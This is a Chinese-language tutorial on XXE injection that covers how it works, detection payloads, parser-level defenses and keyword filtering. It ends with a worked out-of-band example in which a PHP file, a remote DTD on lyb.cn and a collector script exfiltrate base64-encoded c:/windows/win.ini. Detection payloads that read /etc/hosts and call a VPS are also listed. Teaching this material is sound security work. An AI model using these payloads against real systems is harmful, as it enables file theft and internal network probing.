XXE实体注入漏洞详解

什么是XXE

XML External Entity 即外部实体，从安全角度理解成XML External Entity attack 外部实体注入攻击。由于程序在解析输入的XML数据时，解析了攻击者伪造的外部实体而产生的。

原理

既然XML可以从外部读取DTD文件，那我们就自然地想到了如果将路径换成另一个文件的路径，那么服务器在解析这个XML的时候就会把那个文件的内容赋值给SYSTEM前面的根元素中，只要我们在XML中让前面的根元素的内容显示出来，不就可以读取那个文件的内容了。这就造成了一个任意文件读取的漏洞。 那如果我们指向的是一个内网主机的端口呢？是否会给出错误信息，我们是不是可以从错误信息上来判断内网主机这个端口是否开放，这就造成了一个内部端口被探测的问题。另外，一般来说，服务器解析XML有两种方式，一种是一次性将整个XML加载进内存中，进行解析；另一种是一部分一部分的、“流式”地加载、解析。如果我们递归地调用XML定义，一次性调用巨量的定义，那么服务器的内存就会被消耗完，造成了拒绝服务攻击。

XXE漏洞带来的的危害

当允许引用外部实体时， XML数据在传输中有可能会被不法分子被修改，如果服务器执行被恶意插入的代码，就可以实现攻击的目的攻击者可以通过构造恶意内容，就可能导致任意文件读取，系统命令执行，内网端口探测，攻击内网网站等危害。

什么是 XML

• XML 指可扩展标记语言（EXtensible Markup Language）。
• XML 是一种很像HTML的标记语言。
• XML 的设计宗旨是传输数据，而不是显示数据。
• XML 标签没有被预定义。您需要自行定义标签。
• XML 被设计为具有自我描述性。
• XML 是 W3C 的推荐标准。

DTD：Document Type Definition 即文档类型定义，用来为XML文档定义语义约束。可以嵌入在XML文档中(内部声明)，也可以独立的放在一个文件中(外部引用)，由于其支持的数据类型有限，无法对元素或属性的内容进行详细规范，在可读性和可扩展性方面也比不上XML Schema。

DTD文档组成

1.元素（ELEMENT）的定义规则；

2.元素之间的关系规则；

3.属性（ATTLIST）的定义规则；

4.可使用的实体（ENTITY）或符号（NOTATION）规则。

寻找XXE

检测xml是否被解析

尝试注入特殊字符，使XML失效，引发解析异常，明确后端使用XML传输数据。

• 单双引号 ' " ：XML的属性值必须用引号包裹，而数据可能进入标签的属性值。
• 尖括号< > ：XML的开始/结束标签用尖括号包裹，数据中出现尖括号会引发异常。
• 注释符<!-- ：XML使用<!-- This is a comment -->作注释。
• & ：& 用于引用实体。
• CDATA 分隔符]]> ：<![CDATA[foo]]>中的内容不被解析器解析，提前闭合引发异常。

检测是否支持外部实体解析

尝试利用实体和DTD。

• 引用外部DTD文件访问内网主机/端口 ：<!DOCTYPE a SYSTEM "http://127.0.0.1:2333">（看响应时间）
• 引用外部DTD文件访问外网 ：<!DOCTYPE a SYSTEM "http://vps_ip" >
• 引用内部实体 ：<!DOCTYPE a [<!ENTITY xxe "findneo">]><a>&xxe;</a>
• 外部实体读本地文件 ：<!DOCTYPE a [<!ENTITY xxe SYSTEM "file:///etc/hosts">]><a>&xxe;</a>
• 外部实体访问内网主机/端口 ：<!DOCTYPE a SYSTEM "http://192.168.1.2:80">（看响应时间）
• 外部实体访问外网 ：<!DOCTYPE a [<!ENTITY xxe SYSTEM "http://vps_ip">]><a>&xxe;</a>
• 判断问题存在可以OOB提取数据。

XXE的防御

• 使用开发语言提供的禁用外部实体的方法

PHP

libxml_disable_entity_loader(true);

JAVA

DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();

dbf.setExpandEntityReferences(false);

Python

from lxml import etree xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

• 过滤用户提交的XML数据

过滤关键词：<!DOCTYPE和<!ENTITY，或者SYSTEM和PUBLIC。

示例

xxe1.php文件

<?php
$test =<<<EOF
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % load SYSTEM "php://filter/read=convert.base64-encode/resource=c:/windows/win.ini">
<!ENTITY % remote SYSTEM "http://lyb.cn/load.xml"> 
%remote;
%send; 
]>
EOF;
$obj = simplexml_load_string($test, SimpleXMLElement, LIBXML_NOENT);
?>

load.xml文件

<!ENTITY % all
    "<!ENTITY &#x25; send SYSTEM 'http://lyb.cn/test.php?load=%load;'>"
>
%all;

text.php文件

<?php file_put_contents("load.txt",$_GET["load"],FILE_APPEND);?>

访问http://192.168.1.218/xxe1.php，将会在lyb.cn的网站下创建一个load.txt，里面含有c:/windows/win.ini文件base64编码过后的数据

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

代码执行过程

在这里插入图片描述